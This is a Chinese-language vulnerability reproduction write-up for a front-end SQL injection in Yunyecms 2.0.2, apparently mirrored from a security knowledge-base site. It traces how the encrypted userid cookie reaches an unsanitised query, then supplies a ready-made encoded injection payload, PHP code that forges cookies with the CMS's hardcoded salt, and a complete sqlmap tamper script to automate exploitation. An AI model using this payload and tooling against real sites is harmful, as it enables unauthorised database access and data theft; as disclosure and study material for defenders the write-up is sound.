menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Yunyecms V2.0.2 前台注入漏洞(二) chevron_right Yunyecms V2.0.2 前台注入漏洞(二).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Yunyecms V2.0.2 前台注入漏洞(二).md
    4 KB / 2021-07-15 20:11:45
        Yunyecms V2.0.2 前台注入漏洞(二)
    ==================================
    
    一、漏洞简介
    ------------
    
    云业CMS内容管理系统是由云业信息科技开发的一款专门用于中小企业网站建设的PHP开源CMS,可用来快速建设一个品牌官网(PC,手机,微信都能访问),后台功能强大,安全稳定,操作简单。
    
    二、漏洞影响
    ------------
    
    yunyecms 2.0.2
    
    三、复现过程
    ------------
    
    问题出现在前台`me***.php`文件中,自定义表单customform中的userid从cookie中获取,截取一段数据包可以看到cookie的userid如下:
    
    ![](./resource/YunyecmsV2.0.2前台注入漏洞(二)/media/rId24.png)
    
    经过了加密处理,根据解密算法**yunyecms\_strdecode**可以在corefun.php找到对应的加解密算法
    
    ![](./resource/YunyecmsV2.0.2前台注入漏洞(二)/media/rId25.png)
    
    因为cookie里的userid可控因此我们根据算法流程我们可以在cookie中伪造userid值。还是用刚刚以上截取的userid测试。
    
    ![](./resource/YunyecmsV2.0.2前台注入漏洞(二)/media/rId26.png)
    
    可以看到真实的userid为9。构造一个SQL注入,生成如下payload:
    
    ![](./resource/YunyecmsV2.0.2前台注入漏洞(二)/media/rId27.png)
    
        YmM0OWM5ZWY1ODk5ZGRkNzM0T1NjZ1lXNWtJSE5zWldWd0tEVXA4ZDdlNzk5NTliNDQyYTI1ZDE0ZWUzODZmZDI4MzY5OTM0YQ==
    
    payload生成代码front-test.php为:
    
        <?php
        function yunyecms_strencode($string,$salt='~^y#u%n$y^e*c%m^s^~'){
            return base64_encode(substr(md5($salt),8,18).base64_encode($string).substr(sha1($salt),0,35));
        }
        function yunyecms_strdecode($string,$salt='~^y#u%n$y^e*c%m^s^~'){
            $retstr=base64_decode($string);
            $SHA1salt=substr(sha1($salt),0,35);
            $md5salt=substr(md5($salt),8,18);
            $retstr=substr($retstr,strlen($md5salt));
            $retstr=substr($retstr,0,(strlen($retstr)-strlen($SHA1salt)));
            return base64_decode($retstr);
        }
        if ($_GET['cookie']) {
            $string=$_GET['cookie'];
            $userid=yunyecms_strdecode($string);
            echo $userid;
        }
        if($_GET['userid']){
            $string=$_GET['userid'];
            $cookie=yunyecms_strencode($string);
            echo $cookie;
        }
    
    继续追溯可控的userid,可以看到userid经过步骤`3->4->5`传递到了pagelist函数中
    
    ![](./resource/YunyecmsV2.0.2前台注入漏洞(二)/media/rId28.png)
    
    跟入pagelist函数,将\$where拼接到了sql查询语句中\$sqlcnt,然后交给了前几次SQL注入都出现的SQL查询函数**GetCount**中。
    
    ![](./resource/YunyecmsV2.0.2前台注入漏洞(二)/media/rId29.png)
    
    详细查看下该函数,直接进行了sql查询。
    
    ![](./resource/YunyecmsV2.0.2前台注入漏洞(二)/media/rId30.png)
    
    附上截
    
    ![](./resource/YunyecmsV2.0.2前台注入漏洞(二)/media/rId31.png)
    
    手工有点麻烦,又想丢入sqlmap怎么办,由于userid经过了加密和编码处理,于是根据算法流程写一个tamper就可以很好的解决了,
    
    ![](./resource/YunyecmsV2.0.2前台注入漏洞(二)/media/rId32.png)
    
    对应tamper的的脚本为
    
        yunyecms_front_sqli_tamp.py
        #!/usr/bin/env python
    
        """
        Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
        See the file 'LICENSE' for copying permission
        """
    
        import base64
        import hashlib
        from lib.core.enums import PRIORITY
        from lib.core.settings import UNICODE_ENCODING
    
        __priority__ = PRIORITY.LOW
    
        def dependencies():
            pass
    
        def md5(data):
            hash_md5 = hashlib.md5(data)
            md5data=hash_md5.hexdigest()[8:18]
            return md5data
        def sha1(data):
            string_sha1=hashlib.sha1(data).hexdigest()[0:35]
            return string_sha1
    
        def yunyecms_strencode(string):
            salt='~^y#u%n$y^e*c%m^s^~'
            return base64.b64encode(md5(salt)+base64.b64encode(string)+sha1(salt))
        def tamper(payload, **kwargs):
            """
            Base64-encodes all characters in a given payload
    
            >>> tamper("1' AND SLEEP(5)#")
            'MScgQU5EIFNMRUVQKDUpIw=='
            """
    
            return yunyecms_strencode(payload) if payload else payload
    
    
    links
    file_download